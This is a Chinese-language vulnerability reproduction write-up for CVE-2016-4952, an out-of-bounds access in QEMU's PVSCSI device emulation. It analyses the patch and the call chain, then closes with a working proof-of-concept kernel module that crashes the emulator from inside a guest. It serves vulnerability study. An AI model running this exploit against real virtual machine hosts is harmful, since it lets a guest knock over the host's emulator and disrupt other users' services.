前言
这次漏洞复现是我第一次没有借助已有复现文章和已有的poc复现的漏洞,所以写了这篇文章记录下,如果文章出现什么错误,恳请各位师傅斧正。
环境配置
环境搭建参照CVE-2015-5165漏洞复现———QENU信息泄露漏洞那篇文章:http://www.resery.top/2020/10/13/CVE-2015-5165%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0——QENU%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E6%BC%8F%E6%B4%9E/
qemu版本:2.3.0
启动脚本:
qemu-system-x86_64 --enable-kvm -m 1G -hda /home/resery/QEMU/Resery.img -netdev user,id=t0, -device rtl8139,netdev=t0,id=nic0 -net user,hostfwd=tcp::22222-:22 -net nic -device pvscsi
调试脚本:
gdb --args qemu-system-x86_64 --enable-kvm -m 1G -hda /home/resery/QEMU/Resery.img -netdev user,id=t0, -device rtl8139,netdev=t0,id=nic0 -net user,hostfwd=tcp::22222-:22 -net nic -device pvscsi
漏洞分析
先从CVE描述下手,看一下这个漏洞属于是什么类型的漏洞
QEMU (aka Quick Emulator), when built with VMWARE PVSCSI paravirtual SCSI bus emulation support,
allows local guest OS administrators to cause a denial of service (out-of-bounds array access)
via vectors related to the (1) PVSCSI_CMD_SETUP_RINGS or (2) PVSCSI_CMD_SETUP_MSG_RING SCSI command.
根据描述我们可以知道是由一个越界访问触发的拒绝服务漏洞,并且问题出在了PVSCSI上,之后我们再来看一下qemu官网上面的patch信息,patch信息如下
From: Prasad J Pandit <address@hidden>
Vmware Paravirtual SCSI emulation uses command descriptors to
process SCSI commands. These descriptors come with their ring
buffers. A guest could set the ring buffer size to an arbitrary
value leading to OOB access issue. Add check to avoid it.
Reported-by: Li Qiang <address@hidden>
Signed-off-by: Prasad J Pandit <address@hidden>
---
hw/scsi/vmw_pvscsi.c | 24 ++++++++++++++++++++----
1 file changed, 20 insertions(+), 4 deletions(-)
diff --git a/hw/scsi/vmw_pvscsi.c b/hw/scsi/vmw_pvscsi.c
index e690b4e..e1d6d06 100644
--- a/hw/scsi/vmw_pvscsi.c
+++ b/hw/scsi/vmw_pvscsi.c
@@ -153,7 +153,7 @@ pvscsi_log2(uint32_t input)
return log;
}
-static void
+static int
pvscsi_ring_init_data(PVSCSIRingInfo *m, PVSCSICmdDescSetupRings *ri)
{
int i;
@@ -161,6 +161,10 @@ pvscsi_ring_init_data(PVSCSIRingInfo *m,
PVSCSICmdDescSetupRings *ri)
uint32_t req_ring_size, cmp_ring_size;
m->rs_pa = ri->ringsStatePPN << VMW_PAGE_SHIFT;
+ if ((ri->reqRingNumPages > PVSCSI_SETUP_RINGS_MAX_NUM_PAGES)
+ || (ri->cmpRingNumPages > PVSCSI_SETUP_RINGS_MAX_NUM_PAGES)) {
+ return -1;
+ }
req_ring_size = ri->reqRingNumPages * PVSCSI_MAX_NUM_REQ_ENTRIES_PER_PAGE;
cmp_ring_size = ri->cmpRingNumPages * PVSCSI_MAX_NUM_CMP_ENTRIES_PER_PAGE;
txr_len_log2 = pvscsi_log2(req_ring_size - 1);
@@ -192,15 +196,20 @@ pvscsi_ring_init_data(PVSCSIRingInfo *m,
PVSCSICmdDescSetupRings *ri)
/* Flush ring state page changes */
smp_wmb();
+
+ return 0;
}
-static void
+static int
pvscsi_ring_init_msg(PVSCSIRingInfo *m, PVSCSICmdDescSetupMsgRing *ri)
{
int i;
uint32_t len_log2;
uint32_t ring_size;
+ if (ri->numPages > PVSCSI_SETUP_MSG_RING_MAX_NUM_PAGES) {
+ return -1;
+ }
ring_size = ri->numPages * PVSCSI_MAX_NUM_MSG_ENTRIES_PER_PAGE;
len_log2 = pvscsi_log2(ring_size - 1);
@@ -220,6 +229,8 @@ pvscsi_ring_init_msg(PVSCSIRingInfo *m,
PVSCSICmdDescSetupMsgRing *ri)
/* Flush ring state page changes */
smp_wmb();
+
+ return 0;
}
static void
@@ -770,7 +781,10 @@ pvscsi_on_cmd_setup_rings(PVSCSIState *s)
trace_pvscsi_on_cmd_arrived("PVSCSI_CMD_SETUP_RINGS");
pvscsi_dbg_dump_tx_rings_config(rc);
- pvscsi_ring_init_data(&s->rings, rc);
+ if (pvscsi_ring_init_data(&s->rings, rc) < 0) {
+ return PVSCSI_COMMAND_PROCESSING_FAILED;
+ }
+
s->rings_info_valid = TRUE;
return PVSCSI_COMMAND_PROCESSING_SUCCEEDED;
}
@@ -850,7 +864,9 @@ pvscsi_on_cmd_setup_msg_ring(PVSCSIState *s)
}
if (s->rings_info_valid) {
- pvscsi_ring_init_msg(&s->rings, rc);
+ if (pvscsi_ring_init_msg(&s->rings, rc) < 0) {
+ return PVSCSI_COMMAND_PROCESSING_FAILED;
+ }
s->msg_ring_info_valid = TRUE;
}
return sizeof(PVSCSICmdDescSetupMsgRing) / sizeof(uint32_t);
--
2.5.5
通过这个patch我们可以发现漏洞出在了两个函数上,一个是pvscsi_ring_init_data
另一个是pvscsi_ring_init_msg
。下面我们来具体分析一下这两个函数
pvscsi_ring_init_data
下面的代码是没有打patch前的代码,我们可以看到20行和24行有一个循环,循环多少次分别是由ri结构体的reqRingNumPages和cmpRingNumPages来决定的然而这两个值是可以被我们控制的,如果说我们给它赋一个很大的值的话那么在循环的时候就会产生越界的问题
static void
pvscsi_ring_init_data(PVSCSIRingInfo *m, PVSCSICmdDescSetupRings *ri)
{
int i;
uint32_t txr_len_log2, rxr_len_log2;
uint32_t req_ring_size, cmp_ring_size;
m->rs_pa = ri->ringsStatePPN << VMW_PAGE_SHIFT;
req_ring_size = ri->reqRingNumPages * PVSCSI_MAX_NUM_REQ_ENTRIES_PER_PAGE;
cmp_ring_size = ri->cmpRingNumPages * PVSCSI_MAX_NUM_CMP_ENTRIES_PER_PAGE;
txr_len_log2 = pvscsi_log2(req_ring_size - 1);
rxr_len_log2 = pvscsi_log2(cmp_ring_size - 1);
m->txr_len_mask = MASK(txr_len_log2);
m->rxr_len_mask = MASK(rxr_len_log2);
m->consumed_ptr = 0;
m->filled_cmp_ptr = 0;
for (i = 0; i < ri->reqRingNumPages; i++) {
m->req_ring_pages_pa[i] = ri->reqRingPPNs[i] << VMW_PAGE_SHIFT;
}
for (i = 0; i < ri->cmpRingNumPages; i++) {
m->cmp_ring_pages_pa[i] = ri->cmpRingPPNs[i] << VMW_PAGE_SHIFT;
}
RS_SET_FIELD(m, reqProdIdx, 0);
RS_SET_FIELD(m, reqConsIdx, 0);
RS_SET_FIELD(m, reqNumEntriesLog2, txr_len_log2);
RS_SET_FIELD(m, cmpProdIdx, 0);
RS_SET_FIELD(m, cmpConsIdx, 0);
RS_SET_FIELD(m, cmpNumEntriesLog2, rxr_len_log2);
trace_pvscsi_ring_init_data(txr_len_log2, rxr_len_log2);
/* Flush ring state page changes */
smp_wmb();
}
pvscsi_ring_init_msg
下面的代码是没有打patch前的代码,和pvscsi_ring_init_data
一样,也是因为控制循环次数的变量是我们可以控制的,从而可以达到越界的目的
static void
pvscsi_ring_init_msg(PVSCSIRingInfo *m, PVSCSICmdDescSetupMsgRing *ri)
{
int i;
uint32_t len_log2;
uint32_t ring_size;
ring_size = ri->numPages * PVSCSI_MAX_NUM_MSG_ENTRIES_PER_PAGE;
len_log2 = pvscsi_log2(ring_size - 1);
m->msg_len_mask = MASK(len_log2);
m->filled_msg_ptr = 0;
for (i = 0; i < ri->numPages; i++) {
m->msg_ring_pages_pa[i] = ri->ringPPNs[i] << VMW_PAGE_SHIFT;
}
RS_SET_FIELD(m, msgProdIdx, 0);
RS_SET_FIELD(m, msgConsIdx, 0);
RS_SET_FIELD(m, msgNumEntriesLog2, len_log2);
trace_pvscsi_ring_init_msg(len_log2);
/* Flush ring state page changes */
smp_wmb();
}
触发漏洞
现再我们已经知道了漏洞函数在哪里,现再就需要知道怎么样才能调用到漏洞函数,我们先启动虚拟机,然后使用lspci -v命令看一下怎么样才能读写pvscsi设备,可以看到设备内存的地址地址为0xfebf0000,但是我最开始以为直接mmio就可以访问到,但其实不然mmio没有办法访问到这块内存,为了解决这个问题,我们来看一下pvscsi的初始化函数
初始化函数代码如下,可以看到第29行,注册了pvscsi的操作函数,我们也可以看到读写函数分别是pvscsi_io_read
和pvscsi_io_write
,并且也可以看到memory_region_init_io
函数的第一个参数是s->io_space,也就是说这个内存要是想要访问到的话需要使用IO来访问,使用mmio是无法访问到的
----------------------------------------------------------------------------------------------------------------------------
static const MemoryRegionOps pvscsi_ops = {
.read = pvscsi_io_read,
.write = pvscsi_io_write,
.endianness = DEVICE_LITTLE_ENDIAN,
.impl = {
.min_access_size = 4,
.max_access_size = 4,
},
};
----------------------------------------------------------------------------------------------------------------------------
static int
pvscsi_init(PCIDevice *pci_dev)
{
PVSCSIState *s = PVSCSI(pci_dev);
trace_pvscsi_state("init");
/* PCI subsystem ID */
pci_dev->config[PCI_SUBSYSTEM_ID] = 0x00;
pci_dev->config[PCI_SUBSYSTEM_ID + 1] = 0x10;
/* PCI latency timer = 255 */
pci_dev->config[PCI_LATENCY_TIMER] = 0xff;
/* Interrupt pin A */
pci_config_set_interrupt_pin(pci_dev->config, 1);
memory_region_init_io(&s->io_space, OBJECT(s), &pvscsi_ops, s,
"pvscsi-io", PVSCSI_MEM_SPACE_SIZE);
pci_register_bar(pci_dev, 0, PCI_BASE_ADDRESS_SPACE_MEMORY, &s->io_space);
pvscsi_init_msi(s);
s->completion_worker = qemu_bh_new(pvscsi_process_completion_queue, s);
if (!s->completion_worker) {
pvscsi_cleanup_msi(s);
return -ENOMEM;
}
scsi_bus_new(&s->bus, sizeof(s->bus), DEVICE(pci_dev),
&pvscsi_scsi_info, NULL);
/* override default SCSI bus hotplug-handler, with pvscsi's one */
qbus_set_hotplug_handler(BUS(&s->bus), DEVICE(s), &error_abort);
pvscsi_reset_state(s);
return 0;
}
----------------------------------------------------------------------------------------------------------------------------
那么这里就又遇到了一个问题,既然mmio无法使用那就应该是使用pmio了,但是lspci -v的输出结果里面也没有IO端口呀,后来查了点资料发现硬件接入系统的时候,系统会为硬件的寄存器分配连续的IO端口或者IO内存。也就是说lspci -v输出的memory部分属于是IO内存,想要读写IO内存的话我们需要编写一个内核驱动,然后运行驱动才可以读写到IO内存,简单的交互代码如下
#include <asm/io.h>
#include <linux/module.h>
#include <linux/ioport.h>
#include <linux/random.h>
long pmem;//注意这里不要使用指针类型,不然后面地址加偏移的时候很容易出错
void m_init(){
printk("m_init\n");
int i,cmd,cmd_size;
int va,offset;
pmem=ioremap(0xfebf0000,0x8000);//映射io内存
offset=0x10;//根据设备情况而定
if (pmem){
writel(value,pmem+offset);//通常情况下都是写4字节,你也可以根据源码的处理方式选择
}else printk("ioremap fail\n");
iounmap(pmem);
return;
}
void m_exit(){
printk("m_exit\n");
return;
}
module_init(m_init);
module_exit(m_exit);
现再我们知道了怎么才能和设备交互,现再就是要看一下怎么才能调用到漏洞函数了,我选择调用的是pvscsi_ring_init_msg
函数,这里我用的vscode查找引用功能可以看到只有一个函数调用了它,对调用它的函数再次查找引用,这时什么都查不到了,然后我使用搜索功能搜索到了一个使用调用函数的地方
可以从下图中看到这里把pvscsi_on_cmd_setup_msg_ring
函数的地址赋给了一个函数指针,那么下面我们就看看哪里使用了这个函数指针
然后找到pvscsi_do_command_processing
函数使用了函数指针,接下来再找一下哪里调用了pvscsi_do_command_processing
函数
然后可以发现有两个函数调用了它,并且这两个函数都可以被pvscsi_io_write调用,这两个函数对应着不同的switch分支,所以现再我们就知道了函数的具体调用链
----------------------------------------------------------------------------------------------------------------------------
static void
pvscsi_on_command_data(PVSCSIState *s, uint32_t value)
{
size_t bytes_arrived = s->curr_cmd_data_cntr * sizeof(uint32_t);
assert(bytes_arrived < sizeof(s->curr_cmd_data));
s->curr_cmd_data[s->curr_cmd_data_cntr++] = value;
pvscsi_do_command_processing(s);
}
----------------------------------------------------------------------------------------------------------------------------
static void
pvscsi_on_command(PVSCSIState *s, uint64_t cmd_id)
{
if ((cmd_id > PVSCSI_CMD_FIRST) && (cmd_id < PVSCSI_CMD_LAST)) {
s->curr_cmd = cmd_id;
} else {
s->curr_cmd = PVSCSI_CMD_FIRST;
trace_pvscsi_on_cmd_unknown(cmd_id);
}
s->curr_cmd_data_cntr = 0;
s->reg_command_status = PVSCSI_COMMAND_NOT_ENOUGH_DATA;
pvscsi_do_command_processing(s);
}
----------------------------------------------------------------------------------------------------------------------------
static void
pvscsi_io_write(void *opaque, hwaddr addr,
uint64_t val, unsigned size)
{
PVSCSIState *s = opaque;
switch (addr) {
case PVSCSI_REG_OFFSET_COMMAND:
pvscsi_on_command(s, val);
break;
case PVSCSI_REG_OFFSET_COMMAND_DATA:
pvscsi_on_command_data(s, (uint32_t) val);
break;
case PVSCSI_REG_OFFSET_INTR_STATUS:
trace_pvscsi_io_write("PVSCSI_REG_OFFSET_INTR_STATUS", val);
s->reg_interrupt_status &= ~val;
pvscsi_update_irq_status(s);
pvscsi_schedule_completion_processing(s);
break;
case PVSCSI_REG_OFFSET_INTR_MASK:
trace_pvscsi_io_write("PVSCSI_REG_OFFSET_INTR_MASK", val);
s->reg_interrupt_enabled = val;
pvscsi_update_irq_status(s);
break;
case PVSCSI_REG_OFFSET_KICK_NON_RW_IO:
trace_pvscsi_io_write("PVSCSI_REG_OFFSET_KICK_NON_RW_IO", val);
pvscsi_process_io(s);
break;
case PVSCSI_REG_OFFSET_KICK_RW_IO:
trace_pvscsi_io_write("PVSCSI_REG_OFFSET_KICK_RW_IO", val);
pvscsi_process_io(s);
break;
case PVSCSI_REG_OFFSET_DEBUG:
trace_pvscsi_io_write("PVSCSI_REG_OFFSET_DEBUG", val);
break;
default:
trace_pvscsi_io_write_unknown(addr, size, val);
break;
}
}
----------------------------------------------------------------------------------------------------------------------------
知道了调用链后我们来分析一下调用链中的函数,来确定是否有一些check会使我们无法调用到漏洞函数,首先我们可以在调用链函数中发现pvscsi_do_command_processing
函数中会调用handler_fn这个函数指针指向的函数,只不过调用哪个函数是由s->curr_cmd
决定的
static void
pvscsi_do_command_processing(PVSCSIState *s)
{
size_t bytes_arrived = s->curr_cmd_data_cntr * sizeof(uint32_t);
assert(s->curr_cmd < PVSCSI_CMD_LAST);
if (bytes_arrived >= pvscsi_commands[s->curr_cmd].data_size) {
s->reg_command_status = pvscsi_commands[s->curr_cmd].handler_fn(s); <----- CALL
s->curr_cmd = PVSCSI_CMD_FIRST;
s->curr_cmd_data_cntr = 0;
}
}
调用哪个函数由s->curr_cmd
决定,那么我们就需要看一下我们是否可以控制s->curr_cmd
的值,对应的我们可以在漏洞调用链函数中看到pvscsi_on_command
函数中可以对s->curr_cmd
并且赋的值只要小于10大于0即可,然后我们需要确定一下我们要触发的漏洞函数需要s->curr_cmd
的值为多少才可以触发
enum PVSCSICommands {
PVSCSI_CMD_FIRST = 0, /* has to be first */
PVSCSI_CMD_ADAPTER_RESET = 1,
PVSCSI_CMD_ISSUE_SCSI = 2,
PVSCSI_CMD_SETUP_RINGS = 3,
PVSCSI_CMD_RESET_BUS = 4,
PVSCSI_CMD_RESET_DEVICE = 5,
PVSCSI_CMD_ABORT_CMD = 6,
PVSCSI_CMD_CONFIG = 7,
PVSCSI_CMD_SETUP_MSG_RING = 8,
PVSCSI_CMD_DEVICE_UNPLUG = 9,
PVSCSI_CMD_LAST = 10 /* has to be last */
};
static void
pvscsi_on_command(PVSCSIState *s, uint64_t cmd_id)
{
if ((cmd_id > PVSCSI_CMD_FIRST) && (cmd_id < PVSCSI_CMD_LAST)) {
s->curr_cmd = cmd_id;
} else {
s->curr_cmd = PVSCSI_CMD_FIRST;
trace_pvscsi_on_cmd_unknown(cmd_id);
}
s->curr_cmd_data_cntr = 0;
s->reg_command_status = PVSCSI_COMMAND_NOT_ENOUGH_DATA;
pvscsi_do_command_processing(s);
}
回到pvscso_commands这个数据结构上来,我们需要触发的函数是pvscsi_on_cmd_setup_msg_ring
,可以看到这个函数的位置是由PVSCSI_CMD_SETUP_MSG_RING
决定的,然后我们可以在枚举PVSCSICommands
里面看到PVSCSI_CMD_SETUP_MSG_RING
的值为8,也就是说s->curr_cmd
的值为8时就可以触发到漏洞函数
enum PVSCSICommands {
PVSCSI_CMD_FIRST = 0, /* has to be first */
PVSCSI_CMD_ADAPTER_RESET = 1,
PVSCSI_CMD_ISSUE_SCSI = 2,
PVSCSI_CMD_SETUP_RINGS = 3,
PVSCSI_CMD_RESET_BUS = 4,
PVSCSI_CMD_RESET_DEVICE = 5,
PVSCSI_CMD_ABORT_CMD = 6,
PVSCSI_CMD_CONFIG = 7,
PVSCSI_CMD_SETUP_MSG_RING = 8,
PVSCSI_CMD_DEVICE_UNPLUG = 9,
PVSCSI_CMD_LAST = 10 /* has to be last */
};
static const struct {
int data_size;
uint64_t (*handler_fn)(PVSCSIState *s);
} pvscsi_commands[] = {
[PVSCSI_CMD_FIRST] = {
.data_size = 0,
.handler_fn = pvscsi_on_cmd_unknown,
},
/* Not implemented, data size defined based on what arrives on windows */
[PVSCSI_CMD_CONFIG] = {
.data_size = 6 * sizeof(uint32_t),
.handler_fn = pvscsi_on_cmd_config,
},
/* Command not implemented, data size is unknown */
[PVSCSI_CMD_ISSUE_SCSI] = {
.data_size = 0,
.handler_fn = pvscsi_on_issue_scsi,
},
/* Command not implemented, data size is unknown */
[PVSCSI_CMD_DEVICE_UNPLUG] = {
.data_size = 0,
.handler_fn = pvscsi_on_cmd_unplug,
},
[PVSCSI_CMD_SETUP_RINGS] = {
.data_size = sizeof(PVSCSICmdDescSetupRings),
.handler_fn = pvscsi_on_cmd_setup_rings,
},
[PVSCSI_CMD_RESET_DEVICE] = {
.data_size = sizeof(struct PVSCSICmdDescResetDevice),
.handler_fn = pvscsi_on_cmd_reset_device,
},
[PVSCSI_CMD_RESET_BUS] = {
.data_size = 0,
.handler_fn = pvscsi_on_cmd_reset_bus,
},
[PVSCSI_CMD_SETUP_MSG_RING] = {
.data_size = sizeof(PVSCSICmdDescSetupMsgRing),
.handler_fn = pvscsi_on_cmd_setup_msg_ring,
},
[PVSCSI_CMD_ADAPTER_RESET] = {
.data_size = 0,
.handler_fn = pvscsi_on_cmd_adapter_reset,
},
[PVSCSI_CMD_ABORT_CMD] = {
.data_size = sizeof(struct PVSCSICmdDescAbortCmd),
.handler_fn = pvscsi_on_cmd_abort,
},
};
但是当我们给s->curr_cmd
赋值为8的时候依然无法调用到漏洞函数,这里是因为pvscsi_do_command_processing
函数里面还有一个检测,这里可以看到需要bytes_arrived
大于等于pvscsi_commands[s->curr_cmd].data_size
,然后在动调的时候可以看到pvscsi_commands[s->curr_cmd].data_size
的值为136,然后s->curr_cmd_data_cntr
的值在每一次调用pvscsi_on_command_data
函数的时候都会加1,所以也就是说我们需要调用136 / 4 = 34
次pvscsi_on_command_data
函数才可以使得bytes_arrived
大于等于pvscsi_commands[s->curr_cmd].data_size
,从而调用到漏洞函数
size_t bytes_arrived = s->curr_cmd_data_cntr * sizeof(uint32_t);
if (bytes_arrived >= pvscsi_commands[s->curr_cmd].data_size) {
s->reg_command_status = pvscsi_commands[s->curr_cmd].handler_fn(s);
.........
}
现再我们已经知道了漏洞调用链,还有相关的check怎么绕过,所有的准备工作都已经做好了,下面就是需要来分析一下具体代码应该怎么写了
第一步就是要现设置s->curr_cmd
的值为8
第二步调用34次pvscsi_on_command_data
函数,每次写的val
都写的大一些最后第34次调用的时候就可以触发到漏洞函数
这里还有一点需要注意一下,就是如果选择了pvscsi_ring_init_msg
函数作为最后要触发的函数的话,这个函数里面有一行代码会根据我们输入的val
计算一个值存在len_log2
里面,但是这里给它赋值是通过循环复制的,如果说我们每次写的val
过大就会循环好久,所以我们的val也不能写的过大
POC
POC代码如下:
#include <asm/io.h>
#include <linux/module.h>
#include <linux/ioport.h>
#include <linux/random.h>
#define PVSCSI_REG_OFFSET_COMMAND_DATA 4
uint64_t pmem;
static void poc(void){
printk("Hacking\n");
pmem = ioremap(0xfebf0000,0x8000);
int i=0;
writel(0x8,pmem);
for(i=0;i<34;i++){
writel(0x100000,pmem+PVSCSI_REG_OFFSET_COMMAND_DATA);
}
iounmap(pmem);
return;
}
static void exit(void){
printk("Hacked By Resery\n");
return;
}
module_init(poc);
module_exit(exit);
有了代码之后我们需要把代码编译为一个内核模块,编译内核模块和我们平时编译程序不太一样,这里我直接去查了一下怎么编译,搜到一个Makfile然后自己改一改就可以了,Makefile如下:
obj-m := poc.o #要生成的模块名
modules-objs:= poc.o #生成这个模块名所需要的目标文件
KDIR := /lib/modules/`uname -r`/build
PWD := $(shell pwd)
default:
make -C $(KDIR) M=$(PWD) modules
clean:
rm -rf modules.order Module.symvers poc.ko poc.mod.c poc.mod.o poc.o
编译好之后运行poc效果如下:
参考链接
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4952
https://lists.gnu.org/archive/html/qemu-devel/2016-05/msg03774.html
https://www.tuicool.com/articles/MzqYbia
https://blog.csdn.net/tangchao198507/article/details/6122489